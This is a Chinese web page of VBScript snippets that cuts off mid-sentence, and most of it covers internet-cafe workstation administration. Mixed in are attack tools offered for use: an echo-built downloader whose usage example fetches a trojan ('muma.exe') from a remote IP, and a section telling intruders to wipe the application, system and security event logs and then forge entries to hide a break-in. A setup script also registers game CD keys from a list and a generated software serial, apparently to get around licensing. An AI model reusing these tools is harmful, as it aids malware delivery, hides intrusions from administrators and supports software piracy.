VBS脚本
<p><div><font face="黑体" color="#3366ff" size="3"><font face="黑体, Simhei" color="#ff6600" size="3" style="BACKGROUND-COLOR: #ffffff;"></font></font></div><strong></strong>注意:<br/>'本程序中使用了<i>script</i>ing.FileSystemObject对象<br/>'有的杀毒软件可能禁用该对象<br/>Dim ComputerName '定义计算机名<br/>Dim WorkGroup '定义工作组<br/>Dim IPAddress '定义IP地址<br/>Dim Gateway '定义网关<br/>Dim NetMask '定义子网掩码<br/>Dim NameServer '定义DNS<br/>Dim CSCDKey '定义反恐CDKey<br/>Dim WSH '定义W<i>script</i>.Shell对象<br/>Dim FSO '定义<i>script</i>ing.FileSystemObject对象<br/>Dim OPName '定义操作系统名<br/>Dim IPFile,CDKeyFile,WinNTFile '定义反恐CDKey和IP地址的文件对象<br/>Dim IPList,CDKeyList,WinNtCFG '定义网络配置文件<br/>Dim Meteor<br/>Dim ComputerNameNum,IPAddressFormat,ComputerNameFormat'定义其他变量<br/>Dim Buf,NamePart,IPPart,i,j<br/>OPName = "Microsoft Windows 9x" '设置默认为Microsoft Windows 9x </p><p>IPList = "killer.cfg" '设置网络设置配置文件, ###可自定义###<br/>CDKeyList = "CSCDKEY.TXT" '反恐CDKEY列表文件文件,###可自定义###<br/>WinNTCFG = "WinNT.cfg" </p><p>ComputerNameNum = 0 </p><p>'ON Error Resume Next<br/>Set FSO = CreateObject("<i>script</i>ing.FileSystemObject")'创建文件系统对象<br/>Set WSH = W<i>script</i>.CreateObject("W<i>script</i>.Shell") '创建W<i>script</i>.Shell对象<br/>IF NOT FSO.FileExists(IPList) THEN<br/>MSGBox " 没有发现IP地址列表文件:"&IPList&vbCrLf&"未改动任何设置",48,"xp工作站设置程序"<br/>W<i>script</i>.Quit<br/>END IF<br/>IF NOT FSO.FileExists(CDKeyList) THEN<br/>MSGBox " 没有发现反恐CDKey列表文件:"&CDKeyList&vbCrLf&"未改动任何设置",48,"xp工作站设置程序"<br/>W<i>script</i>.Quit<br/>END IF </p><p>ComputerName = Trim(InputBox("请输入工作站计算机名:","xp工作站设置程序"))<br/>IF LEN(ComputerName)=2 THEN ComputerName="0"+ComputerName<br/>IF LEN(ComputerName)=1 THEN ComputerName="00"+ComputerName<br/>IF ComputerName = "" THEN<br/>MSGBox "计算机名没有输入,未改动任何设置!",48,"xp工作站设置程序"<br/>W<i>script</i>.Quit<br/>END IF<br/>Set IPFile = FSO.OpenTextFile(IPList) '打开IP地址的列表文件<br/>j=0<br/>'下面开始解释IP地址的列表文件,从中获取设置<br/>While Not IPFile.AtEndOfStream and IPAddress = ""<br/><br/>Buf=Trim(IPFile.ReadLine)<br/>If Mid(Buf,1,1) = "#" Then<br/>Execute Mid(Buf,2)<br/>ElseIf Mid(Buf,1,2) = "//" Then<br/>ElseIf Buf = "" then<br/>Else<br/>j=j+1<br/>If InStr(Buf,"=") Then<br/> NamePart= Mid(buf,1,InStr(Buf,"=")-1)<br/> IPPart=Mid(buf,InStr(Buf,"=")+1)<br/>else<br/> NamePart=buf<br/> IPPart=buf<br/>End If<br/>ComputerNum=ComputerNum+1<br/>if UCase(ComputerName)=UCase(Replace(ComputerNameFormat,"?",NamePart)) then<br/> Buf=Replace(IPAddressFormat,"?",IPPart)<br/> IPAddress=mid(buf,1,Instr(buf,"(")-1)&eval(replace(mid(buf,Instr(buf,"(")+1,len(buf)-1),")",""))<br/>end if<br/>end if<br/>Wend<br/>if IPAddress = "" then<br/>Msgbox"计算机名不存在,可能是输入有误,未改动任何设置!",48,"xp工作站设置程序"<br/>W<i>script</i>.Quit<br/>end if<br/>IPFile.Close '关闭IP地址的列表文件<br/>Set CDKeyFile = FSO.OpenTextFile(CDKeyList) '打开IP地址的列表文件<br/>for i=0 to ComputerNum<br/>CDKeyFile.SkipLine<br/>next<br/>if CDKeyFile.AtEndOfStream then<br/>Msgbox "反恐CDKey数目不够,未改动任何设置!",48,"xp工作站设置程序"<br/>W<i>script</i>.Quit<br/>end if<br/>CSCDKey = Trim(CDKeyFile.ReadLine)<br/>CDKeyFile.Close </p><p>'下面获取操作系统名,Win9x系统中无此键,将产生错误,从而保留默认值<br/>OPName=WSH.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName") </p><p>'下面改注册表<br/>if OPName = "Microsoft Windows 9x" then </p><p>'Win9x系统下执行<br/>WSH.RegWrite "HKEY_CURRENT_USER\Software\Valve\CounterStrike\Settings\KEY",CSCDKey,"REG_SZ"'注册反恐CDKEY<br/>WSH.RegWrite "HKEY_CURRENT_USER\Software\Valve\HALF-LIFE\Settings\KEY",CSCDKey,"REG_SZ"'注册半条命CDKEY<br/>'可在此处添加其他注册项<br/>'下列设置取消,可消除行首“'”注释标志取用<br/>WSH.RegWrite "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName",ComputerName,"REG_SZ"<br/>WSH.RegWrite "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\VNETSUP\ComputerName",ComputerName,"REG_SZ"<br/>WSH.RegWrite "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\VNETSUP\Workgroup",WorkGroup,"REG_SZ"<br/>WSH.RegWrite "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\NetTrans\0001\IPAddress",IPAddress,"REG_SZ"<br/>WSH.RegWrite "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\NetTrans\0001\IPMask",NetMask,"REG_SZ"<br/>WSH.RegWrite "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\NetTrans\0001\DefaultGateway",GateWay,"REG_SZ" </p><p>else<br/>'Win2k&XP系统下执行<br/>'可在此处添加其他注册项 </p><p>WSH.RegWrite "HKEY_CURRENT_USER\Software\Valve\CounterStrike\Settings\KEY",CSCDKey,"REG_SZ" '注册反恐CDKEY<br/>'WSH.RegWrite "HKEY_CURRENT_USER\Software\Valve\HALF-LIFE\Settings\KEY",CSCDKey,"REG_SZ" '注册半条命CDKEY<br/>'删除一些恢复设置的注册项<br/>'WSH.RegDelete "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\BackupRestore\KeysNotToRestore\"<br/>'WSH.RegDelete "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\BackupRestore\KeysNotToRestore\"<br/>'Wsh.RegDelete ""<br/>'Wsh.RegDelete "" </p><p>set WinNTFile = FSO.OpenTextFile(WinNTCFG)<br/>buf = WinNTFile.readall<br/>buf = replace(buf,"",ComputerName)<br/>buf = replace(buf,"",WorkGroup)<br/>buf = replace(buf,"",CRegM(IPAddress))<br/>buf = replace(buf,"",CRegM(Gateway))<br/>buf = replace(buf,"",CRegM(NetMask))<br/>buf = replace(buf,"",NameServer)<br/>buf = replace(buf,"",CSCDKey)<br/>Winntfile.close<br/>set WinNTFile = FSO.CreateTextFile("NetSettings.reg")<br/>WinNtFile.Write buf<br/>Winntfile.close<br/>WSH.Run "Regedit NetSettings.reg",0,true<br/>set WinNTFile = FSO.GetFile("NetSettings.reg")<br/>WinNTFile.Delete<br/>end if </p><p>if ComputerName<200 then<br/>if ComputerName<16 then<br/>Meteor="19654494997d0"+hex(ComputerName)<br/>else<br/>Meteor="19654494997d"+hex(ComputerName)<br/>end if<br/>else<br/>if ComputerName-200<16 then<br/>Meteor="6F7O11YD459B0"+hex(ComputerName-200)<br/>else<br/>Meteor="6F7O11YD459B"+hex(ComputerName-200)<br/>end if<br/>end if<br/>WSH.RegWrite "HKEY_LOCAL_MACHINE\Software\InterServ\Meteor\Serial",Meteor,"REG_SZ" </p><p>Buf = "操作系统:" + OPName + vbCrLf<br/>Buf = Buf + "计算机名:" + ComputerName + vbCrLf<br/>Buf = Buf + "工作组名:" + WorkGroup + vbCrLf<br/>Buf = Buf + "IP 地 址:" + IPAddress + vbCrLf<br/>Buf = Buf + "使用网关:" + Gateway + vbCrLf<br/>Buf = Buf + "子网掩码:" + NetMask + vbCrLf<br/>Buf = Buf + "域名解析:" + NameServer + vbCrLf<br/>Buf = Buf + "CS CDKey:" + CSCDKey + vbCrLf<br/>Buf = Buf + "流星蝴蝶:" + Meteor+ vbCrLf<br/>Buf = Buf + "计算机号:" + Cstr(j)<br/>MSGBox Buf,64,"xp工作站设置程序运行报告"<br/>Set FSO=NoThing<br/>Set WSH=NoThing<br/>function CRegM(key)<br/>dim MultiSZ<br/>MultiSZ = "hex(7):"<br/>fori= 1 to len(key)<br/>MultiSZ = MultiSZ + hex(asc(mid(key,i))) + ",00,"<br/>next<br/>MultiSZ = MultiSZ + "00,00,00,00"<br/>CRegM=MultiSZ<br/>end function </p><p>----------------------------------------------------------------------------------------------------------------------<br/><br/>1.文件下载(无回显) <br/>echo iLocal = LCase(W<i>script</i>.Arguments(1)) >iget.vbe <br/>echo iRemote = LCase(W<i>script</i>.Arguments(0)) >>iget.vbe <br/>echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>iget.vbe <br/>echo xPost.Open "GET",iRemote,0 >>iget.vbe <br/>echo xPost.Send() >>iget.vbe <br/>echo Set sGet = CreateObject("ADODB.Stream") >>iget.vbe <br/>echo sGet.Mode = 3 >>iget.vbe <br/>echo sGet.Type = 1 >>iget.vbe <br/>echo sGet.Open() >>iget.vbe <br/>echo sGet.Write(xPost.responseBody) >>iget.vbe <br/>echo sGet.SaveToFile iLocal,2 >>iget.vbe <br/></p><p>用法: c<i>script</i> hget.vbs <A href="http://111.111.111.111/muma.exe" target=_blank><FONT color=#000000>http://111.111.111.111/muma.exe</FONT></A> muma.exe </p><p><br/>2.列举进程 <br/>@echo for each ps in getobject _ >ps.vbs <br/>@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs <br/>@echo w<i>script</i>.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs </p><p>用法:c<i>script</i> ps.vbs </p><p><br/>3.终止进程 <br/>@echo for each ps in getobject _ >pskill.vbs <br/>@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pskill.vbs <br/>@echo if ps.handle=w<i>script</i>.arguments(0) then w<i>script</i>.echo ps.terminate:end if:next >>pskill.vbs </P><br/></p><p>用法:c<i>script</i> pskill.vbs pid <br/></p><p><br/>4.重启系统 <br/>@echo for each os in getobject _ >reboot.vbs <br/>@echo ("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>reboot.vbs <br/>@echo os.win32shutdown(2):next >>reboot.vbs </p><p>用法:c<i>script</i> reboot.vbs<br/><strong></strong></p> <font size=\"5\">用vbs代码禁止QQ上网</font><p>dim bag,pipe,honker,good<br/>do<br/>good=\".\"<br/>set bag=getobject(\"winmgmts:\\\\\"&good&\"\\root\\cimv2\")<br/>set pipe=bag.execquery(\"select * from win32_process where name=\'QQ.exe\'\")<br/>for each i in pipe<br/>i.terminate()<br/>next<br/>w<i>script</i>.sleep 1<br/>loop </p><p>Set fso = W<i>script</i>.CreateObject(\"<i>script</i>ing.FileSystemObject\") \'创建文件系统对象,用以处理驱 </p><p>动器、文件夹和文件 Set WshShell = W<i>script</i>.CreateObject(\"W<i>script</i>.Shell\") \'创建系统Shell对象,用以运行程序等等 if fso.fileexists(\"D:\\刀剑Online\\alreadyexist.txt\") then \'如果找到文件“D:\\刀剑 </p><p>Online\\alreadyexist.txt”则 WshShell.Run(\"D:\\刀剑Online\\刀剑Online.exe\") \'运行“D:\\刀剑Online\\刀剑Online.exe” elseif fso.fileexists(\"<A>\\\\gengxin\\update\\dj.exe</A>\") then \'否则,如果找到 </p><p>“\\\\gengxin\\update\\dj.exe”则 WshShell.Run(\"<A>\\\\gengxin\\update\\dj.exe</A>\") \'运行“\\\\gengxin\\update\\dj.exe” else WshShell.Run(\"D:\\刀剑Online\\刀剑Online.exe\") \'否则运行“D:\\刀剑Online\\刀剑Online.exe” end if \'根据条件执行语句结束 </p><p>VBS 导入注册表,然后执行文件 </p><p>dim Wsh Set Wsh = W<i>script</i>.CreateObject(\"W<i>script</i>.Shell\") Wsh.RegWrite \"HKCU\\SOFTWARE\\AUDITION\\AUTOSTART\",0,\"REG_DWORD\" Wsh.RegWrite \"HKCU\\SOFTWARE\\AUDITION\\PATH\",\"G:\\网络游戏\\劲舞团1.5\",\"REG_SZ\" Wsh.RegWrite \"HKCU\\SOFTWARE\\AUDITION\\VERSION\",1010,\"REG_DWORD\" Wsh.run \"patcher.exe\" </p><p>PING内网 不通就 执行关机 的VBS </p><p>strIP = \"192.168.0.254\" \'被PING的内网机器 Set objShell = CreateObject(\"W<i>script</i>.Shell\") </p><p>If Not IsOnline(strIP) Then objShell.run \"shutdown -s -t 30 -c \"&chr(34)&\"机器即将关闭\"&chr(34) End If </p><p>Function IsOnline(strComputer) IsOnline = false strCommand = \"%comspec% /c ping -n 2 -w 500 \" & strComputer & \"\" Set objExecObject = objShell.Exec(strCommand) Do While Not objExecObject.StdOut.AtEndOfStream strText = objExecObject.StdOut.ReadAll() If Instr(strText, \"Reply\") > 0 Then IsOnline = true End If Loop End Function </p><p>开机脚本VBS用于ARP邦定 Set WshShell = W<i>script</i>.CreateObject(\"W<i>script</i>.Shell\") WshShell.run \"arp -s 192.168.0.1 30-18-e5-33-01\",0 WshShell.run \"arp -s 192.168.0.5 30-18-e5-33-07\",0<br/></p><p>运行程序 </p><p>Dim a </p><p>Set Wsh = W<i>script</i>.CreateObject(\"W<i>script</i>.Shell\") a.Run \"d:\\网络游戏\\大话西游II\\xy-2.exe\" </p><p>运行 oshell.run \"d:\\soft\\hf\\hfgame3\\GameClient.lnk\" </p><p>断开网络连接<br/></p><p>strNICName = \" disable =net pci\\*\" Set objShell = CreateObject(\"W<i>script</i>.Shell\") strCommand = \"devcon.exe\"& strNICName objShell.Run strCommand, 0, False </p><p>启动网络连接 </p><p>strNICName = \" enable =net pci\\*\" Set objShell = CreateObject(\"W<i>script</i>.Shell\") strCommand = \"devcon.exe\"& strNICName objShell.Run strCommand, 0, False </p><p>删除文件的VBS脚本</P><br/></p><p>dim fso Set fso = CreateObject(\"<i>script</i>ing.FileSystemObject\")</P><br/></p><p>fso.CopyFile \"<A>\\\\server\\</A>共享\\XXX.lnk\",\"c:\\目标位置1\\\",true \'添加 fso.CopyFile \"<A>\\\\server\\</A>共享\\XXX.lnk\",\"c:\\目标位置2\\\",true \'添加</P><br/></p><p>fso.DeleteFile \"c:\\目标位置1\\XXX.lnk\" ,true \'删除 fso.DeleteFile \"c:\\目标位置2\\XXX.lnk\" ,true \'删除</P><br/></p><p>Set FSO=NoThing W<i>script</i>.quit</P></DIV> </p><p>无界面自动检测安装iscsi客户端,映射及断开映射vbs脚本</p><p>下列代码实现无界面自动检测安装iscsi客户端,自动映射</p><p>On Error Resume Next setupfile=\"iscsi2.0.exe\" \'iscsi客户端安装文件路径 serverip=\"192.168.0.100\" \'iscsi服务器ip Set oshell= CreateObject(\"W<i>script</i>.Shell\") Set fso = CreateObject(\"<i>script</i>ing.FileSystemObject\") if not fso.fileexists(oshell.ExpandEnvironmentStrings(\"%WinDir%\")+\"\\system32\\iscsicpl.cpl\") </p><p>then oshell.run setupfile&\" /q\",,1 end if oshell.run \"iscsicli AddTargetPortal \"&serverip&\" 3260\",0,1 oshell.run \"iscsicli LoginTarget iqn.2005-02.com.ricecake.iscsi:00 T * * * * * * * * * * * * </p><p>* * * 0\",0,1</p><p>下例代码实现无界面删除iscsi映射盘</p><p>filetmp=\"c:\\my.txt\" On Error Resume Next Set Shell = CreateObject(\"W<i>script</i>.Shell\") Set fso = W<i>script</i>.CreateObject(\"<i>script</i>ing.FileSystemObject\") shell.run \"cmd /c iscsicli sessionlist>\"&filetmp,0,1 Const ForReading = 1 Dim fso, theFile, retstring Set fso = CreateObject(\"<i>script</i>ing.FileSystemObject\") Set theFile = fso.OpenTextFile(filetmp, ForReading) aaa=thefile.readall thefile.close function myreadline() X=instr(1,aaa,vbcrlf,vbTextCompare) myline=mid(aaa,1,x-1) aaa=right(aaa,len(aaa)-x) if len(aaa) =<1 then myline =\"end\" myreadline=myline end function Do While bbb<>\"end\" bbb=myreadline if bbb <> \"end\" then if bbb <>\" \" then if instr(bbb,\"Session\")<>0 then temID=mid(bbb,instr(bbb,\":\")+1,len(bbb)-instr(bbb,\":\")) shell.run \"iscsicli logouttarget\"&temID,0 end if end if end if Loop fso.deletefile(filetmp)</p><p>删除QQ用户文件强制删除是不行的了,要跳过的话这样</p><p>Dim fso, folderspec, f, f1, fc folderspec = \"f:\\Program Files\\Tencent\\QQ\" \'设置你的QQ文件夹 Dim Re Set Re = New RegExp Re.Pattern = \"^\\d{4,13}$\" Set fso = CreateObject(\"<i>script</i>ing.FileSystemObject\") Set f = fso.GetFolder(folderspec) Set fc = f.SubFolders For Each f1 in fc If Re.Test(f1.name) Then On Error Resume Next f1.Delete(true) On Error GoTo 0 End If Next</p><p>格5分钟运行一次批处理程序</p><p>Dim Wsh Set Wsh = W<i>script</i>.CreateObject(\"W<i>script</i>.Shell\") Do Wsh.Run \"d:\\aaa.bat\" \'你要执行的批处理 W<i>script</i>.Sleep(300000) Loop</p><p>要设开机自动运行,禁止程序</p><p><STRONG>将域用户或租添加到本地组<br/></STRONG>Set objGroup = GetObject(WinNT://./Administrators)<br/>Set objUser = GetObject(WinNT://testnet/Engineers)<br/>objGroup.Add(objUser.ADsPath)<br/><br/><B>修改本地管理员密码</B><br/>Set objcnlar = GetObject(WinNT://./administrator, user)<br/>objcnla.SetPassword P@ssW0rd<br/>objcnla.SetInfo<br/><br/><B>弹出 YES or NO 的对话框,不同的选择执行不同的代码</B><br/>intAnswer = Msgbox(Do you want to delete these files?, vbYesNo, Delete Files)<br/>If intAnswer = vbYes Then<br/>Msgbox You answered yes.<br/>Else Msgbox You answered no.<br/>End If<br/><br/><B>运行CMD命令行命令</B><br/>set obshell=w<i>script</i>.createobject(w<i>script</i>.shell)<br/>obshell.run (ipconfig),,true<br/>如果要运行的命令中包含双引号,可使用&chr(34)&代替<br/><br/><B>忽略代码错误继续执行</B><br/>On Error Resume Next<br/><I>放置于代码的最开头,当代码运行出错后并不停止跳出而是继续执行下一条。适当应用会很有效果。</I><B>注册表的修改,读取,删除,创建</B><br/>Set wso = CreateObject(W<i>script</i>.Shell) \'声明<br/>wso.RegWrite %Path%\'创建子键<br/>wso.RegWrite %Path%,%<i>value</i>%\'修改默认键值<br/>wso.RegWrite %Path%,%<i>value</i>%,%RegType% \'修改特定类型的键值<br/>\'(字符串值 REG_SZ 可扩充字符串值 REG_EXPAND_SZ DWORD值 REG_DWORD 二进制值 REG_BINARY)<br/><br/>Set WSHShell= W<i>script</i>.CreateObject(W<i>script</i>.Shell)<br/>WSHShell.RegRead (%Path%) \'读取注册*键或键值(一般用于判断某一事件是否执行)<br/><br/>Set wso = CreateObject(W<i>script</i>.Shell)<br/>wso.RegDelete %Path% \'删除子键或键值<br/>\'(根键缩写HKEY_CLASSES_ROOT HKCR HKEY_CURRENT_USER HKCU HKEY_LOCAL_MACHINE HKLM,其余无)<br/><br/>eg:<br/>Set wso = CreateObject(W<i>script</i>.Shell)<br/>wso.RegWrite HKLM\\SOFTWARE\\Microsft\\Windows NT\\#1<br/>wso.RegWrite HKLM\\SOFTWARE\\Microsft\\Windows NT\\#1,0<br/>wso.RegWrite HKLM\\SOFTWARE\\Microsft\\Windows NT\\#1\\#2,0,REG_BINARY<br/>wso.RegDelete HKLM\\SOFTWARE\\Microsft\\Windows NT\\#1<br/>W<i>script</i>.quit</DIV></DIV><B>文件的复制,删除,创建,简单的写入</B><br/>Set fso = W<i>script</i>.CreateObject(<i>script</i>ing.FileSystemObject) ‘声明<br/>Set f = fso.CreateTextFile(%PATH%) \'创建文件,其中f可任意,包含缩略名<br/>f.WriteLine(VBS) \'写文件内容,该命令功能太简单,目前看来只能用于TXT文件<br/>f.Close<br/>set c=fso.getfile(%path%) ’拷贝某文件<br/>c.copy(%PATH2%) \'拷贝文件到指定地点<br/>fso.deletefile(%PATH%) \'删除文件<br/>W<i>script</i>.quit<br/><br/>eg.<br/>Set fso = W<i>script</i>.CreateObject(<i>script</i>ing.FileSystemObject)<br/>Set f=fso.CreateTextFile(C:\\Sample.txt)<br/>WriteLine(VBS)<br/>f.close<br/>set e=fso.getfile(C:\\Sample.txt)<br/>e.copy(D:\\Sample.txt)<br/>fso.deletefile(C:\\Sample.txt)<br/>W<i>script</i>.quit</DIV></DIV><B>向应用程序输出简单的连串指令</B><br/>dim program1 \'声明变量program1<br/>program1= %Path% \'应用程序路径<br/>set wshshell=createobject(w<i>script</i>.shell) \'声明饮用函数<br/>set oexec=wshshell.exec(program1) \'运行程序<br/>w<i>script</i>.sleep 2000 \'(该行命令未知作用.估计是设定延迟,请高手指点)<br/>wshshell.appactivate %WindowsName% \'激活运用程序窗口<br/>wshshell.sendkeys +{%KeyBoardName%} \'第一次输出键盘按键指令前要加+<br/>wshshell.sendkeys 555555 \'在程序输入栏中输入运用该系列命令须首先确定程序可以实施连串的键盘操作,这在QQ登录中最适用,如下例。<br/><br/>eg.<br/>dim program1<br/>program1=D:\\Program Files\\Tencent\\coralQQ.exe<br/>set wshshell=CreateObject(w<i>script</i>.shell)<br/>set oexec=wshshell.exec(program1)<br/>w<i>script</i>.sleep 2000<br/>wshshell.appactivate QQ登录<br/>wshshell.sendkeys +{TAB}<br/>wshshell.sendkeys 250481892<br/>w<i>script</i>.sleep 2000<br/>wshshell.sendkeys {TAB}<br/>wshshell.sendkeys ****************<br/>w<i>script</i>.sleep 2000<br/>wshshell.sendkeys {ENTER}<br/>W<i>script</i>.quit</DIV></DIV><B>文件夹的简单操作</B><br/>Set fso = W<i>script</i>.CreateObject(<i>script</i>ing.FileSystemObject) ‘声明<br/>Set f = fso.CreateFolder(%PATH%) 创建文件夹<br/>Set e = getFolder(%PATH%) 类似于“绑定目标”<br/>e.copy(%PATH2%) 复制文件夹<br/>fso.deletefolder(%PATH%) 删除文件夹<br/><br/>eg.<br/>Set fso = W<i>script</i>.CreateObject(<i>script</i>ing.FileSystemObject)<br/>Set f = fso.CreateObject(C:\\sample)<br/>f.copy(D:\\sample)<br/>fso.deletefolder(C:\\sample)</DIV></DIV><br/>\'(由上例可以看出,文件夹的操作很多是和文件的操作相通的,因此VBS文件具有很多命令的统一性)<br/><br/><B>将某一指定文件夹的所有只读文件转为可读文件</B><br/>Const ReadOnly = 1 ‘设只读属性对应值为1<br/><br/>Set FSO = CreateObject(<i>script</i>ing.FileSystemObject) \'声明<br/>Set Folder = FSO.GetFolder(%PATH%) ’绑定文件夹<br/>Set colFiles = Folder.Files ‘文件夹所有文件<br/><br/>For Each objFile in colFiles ’下列语句应用于文件夹所有文件<br/>If File.Attributes AND ReadOnly Then \'这是关键之处,这里应用了If判断语句,来检测文件属性是否为只读<br/>File.Attributes = File.Attributes XOR ReadOnly ‘对判断结果为Ture(默认为True)’执行XOR逻辑运算,将其改为可读<br/>End If ‘结束判断<br/>Next<br/><br/><B>将Word文件另存为文本文件</B><br/>Const wdFormatText = 2 ’设置常数值<br/>(当该值为8时另存为HTML文档,为11时另存为XML文档)<br/>Set objWord = CreateObject(Word.Application) \'申明调用函数<br/>Set objDoc = objWord.Documents.Open(%Path%) ‘打开某DOC文件<br/>objDoc.SaveAs %PATH2%, wdFormatText 另存为……<br/>objWord.Quit<br/><br/>eg:<br/>Const wdFormatText = 2<br/>Set objWord = CreateObject(Word.Application)<br/>Set objDoc = objWord.Documents.Open(d:\\doc1.doc)<br/>objDoc.SaveAs g:\\doc1.txt, wdFormatText<br/></p><p>VBS实现自动填写IP地址,子网掩码,网关,DNS的脚本!</P><br/></p><p>Dim Num <br/>Num=Inputbox (\"程序员:废铁\"+chr(10)&chr(13)+\"QQ:355430413\"+chr(10)&chr(13)+\"必须是小于200以下的数字\"+chr(10)&chr(13)+\"请输入机器号\",\"废铁\") <br/>dim Name <br/>if Num<10 then <br/>Name=\"XD00\" <br/>else <br/>if Num<100 then <br/>Name=\"XD0\" <br/>else <br/>Name=\"XD\" <br/>end if <br/>end if <br/><br/>Set Sh = CreateObject(\"W<i>script</i>.Shell\") <br/>Sh.RegWrite \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\ComputerName\\ComputerName\\ComputerName\",Name&Num,\"REG_SZ\" <br/>Sh.RegWrite \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\NV Hostname\",Name&Num,\"REG_SZ\" <br/>Sh.RegWrite \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Hostname\",Name&Num,\"REG_SZ\" <br/>Set sh = Nothing <br/>Set oShell = Nothing <br/>strComputer = \".\" <br/>Set objWMIService = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2\") <br/>Set colNetAdapters = objWMIService.ExecQuery _ <br/>(\"Select * from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE\") <br/>strIPAddress = Array(\"192.168.1.\"&Num) <br/>strSubnetMask = Array(\"255.255.255.0\") <br/>strGateway = Array(\"192.168.1.1\") <br/>For Each objNetAdapter in colNetAdapters <br/>errEnable = objNetAdapter.EnableStatic(strIPAddress, strSubnetMask) <br/>errGateways = objNetAdapter.SetGateways(strGateway) <br/><br/>Dim dns <br/>dns=Array(\"211.93.80.129\",\"211.94.33.193\") <br/>err=objNetAdapter.SetDNSServerSearchOrder(dns) <br/>\'msgbox(err) <br/><br/>Next <br/>Set objWMIService = GetObject(\"winmgmts:\" _ <br/>& \"{impersonationLevel=impersonate}!\\\\\" & strComputer & \"\\root\\cimv2\") <br/>Set colComputers = objWMIService.ExecQuery _ <br/>(\"Select * from Win32_ComputerSystem\") <br/>For Each objComputer in colComputers <br/>\'ObjComputer.Rename(\"game\" &Num) <br/>Next <br/>Set objNetworkSettings = objWMIService.Get(\"Win32_NetworkAdapterConfiguration\") <br/>objNetworkSettings.SetIPXVirtualNetworkNumber(Num)</CQ></P></p> <p><font color=\"#e61a1a\">给注册表编辑器解锁</font> 用记事本编辑如下内容: DIM WSH SET WSH=Wscript.CreateObject(\"Wscript.SHELL\") \'击活Wscript.Shell对象 WSH.POPUP(\"解锁注册表编辑器!\") \'显示弹出信息“解锁注册表编辑器!” WSH.Regwrite\"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools\",0,\"REG_DWORD\" \'给注册表编辑器解锁 WSH.POPUP(\"注册表解锁成功!\") \'显示弹出信息“注册表解锁成功!” 保存为以.vbs为扩展名的文件,使用时双击即可。 <font color=\"#dd2222\">关闭Win NT/2000的默认共享</font> 用记事本编辑如下内容: Dim WSHShell\'定义变量 set WSHShell=CreateObject(\"Wscript.shell\") \'创建一个能与操作系统沟通的对象WSHShell Dim fso,dc Set fso=CreateObject(\"scripting.FileSystemObject\")\'创建文件系统对象 set dc=fso.Drives \'获取所有驱动器盘符 For Each d in dc Dim str WSHShell.run(\"net share\"&d.driveletter &\"$ /delete\")\'关闭所有驱动器的隐藏共享 next WSHShell.run(\"net share admin$ /delete\") WSHShell.run(\"net share ipc$ /delete\")\'关闭admin$和ipc$管道共享 现在来测试一下,先打开cmd.exe,输入net share命令就可以看到自己机子上的共享。双击执行stopshare.vbs后,会看见窗口一闪而过。然后再在cmd里输入net share命令,这时候没有发现共享列表了 </p><p></p><p><font color=\"#e61a1a\">显示本机IP地址</font> 有许多时候,我们需要知道本机的IP地址,使用各种软件虽然可以办到,但用VBS脚本也非常的方便。用记事本编辑如下内容: Dim WS Set WS=CreateObject(\"MSWinsock.Winsock\") IPAddress=WS.LocalIP MsgBox \"Local IP=\" & IPAddress 将上面的内容保存为ShowIP.vbs,双击执行即可得到本机IP地址 </p><p></p><p>利用脚本编程删除日志 入侵系统成功后黑客做的第一件事便是清除日志,如果以图形界面远程控制对方机器或是从终端登陆进入,删除日志不是一件困难的事,由于日志虽然也是作为一种服务运行,但不同于http,ftp这样的服务,可以在命令行下先停止,再删除,在命令行下用net stop eventlog是不能停止的,所以有人认为在命令行下删除日志是很困难的,实际上不是这样,比方说利用脚本编程中的VMI就可以删除日志,而且非常的简单方便。源代码如下: strComputer= \".\" Set objWMIService = GetObject(\"winmgmts:\" _ & \"{impersonationLevel=impersonate,(Backup)}!\\\\\" & _ strComputer & \"\\root\\cimv2\") dim mylogs(3) mylogs(1)=\"application\" mylogs(2)=\"system\" mylogs(3)=\"security\" for Each logs in mylogs Set colLogFiles=objWMIService.ExecQuery _ (\"Select * from Win32_NTEventLogFile where LogFileName=\'\"&logs&\"\'\") For Each objLogfile in colLogFiles objLogFile.ClearEventLog() Next next 将上面的代码保存为cleanevent.vbs文件即可。在上面的代码中,首先获得object对象,然后利用其clearEventLog()方法删除日志。建立一个数组,application,security,system,如果还有其他日志也可以加入数组。然后用一个for循环,删除数组中的每一个元素,即各个日志。 <font color=\"#e61a1a\">利用脚本伪造日志</font> 删除日志后,任何一个有头脑的管理员面对空空的日志,马上就会反应过来被入侵了,所以一个聪明的黑客的学会如何伪造日志。利用脚本编程中的eventlog方法创造日志非常简单,请看下面的代码: set ws=wscript.createobject(\"Wscript.shell\") ws.logevent 0 ,\"write log success\" \'创建一个成功执行日志 将上面的代码保存为createlog.vbs即可。这段代码很容易理解,首先获得wscript的一个shell对象,然后利用shell对象的logevent方法。logevent的用法:logevent eventtype,\"description\" [,remote system],其中eventtype为日志类型,可以使用的参数如下:0代表成功执行,1执行出错,2警告,4信息,8成功审计,16故障审计。所以上面代码中,把0改为1,2,4,8,16均可,引号中的内容为日志描述。利用这种方法写的日志有一个缺点,即只能写到应用程序日志,而且日志来源只能为WSH,即Windows scripting 